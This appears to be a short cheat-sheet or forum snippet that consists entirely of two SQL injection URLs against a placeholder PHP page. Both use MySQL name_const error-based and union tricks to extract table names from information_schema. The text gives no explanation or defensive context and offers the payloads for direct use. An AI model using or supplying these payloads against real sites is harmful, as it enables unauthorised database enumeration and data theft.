site.com/2.php?id=6+or(1,2)=(select*from(select name_const((select table_name from information_schema.tables limit 17,1),1),name_const((select table_name from information_schema.tables limit 17,1),1))a)

or

site.com/2.php?id=6 union select * from(select * from(select name_const((select table_name from information_schema.tables limit 17,1), 11)d) as t join (select name_const((select table_name from information_schema.tables limit 17,1), 11)e) b)a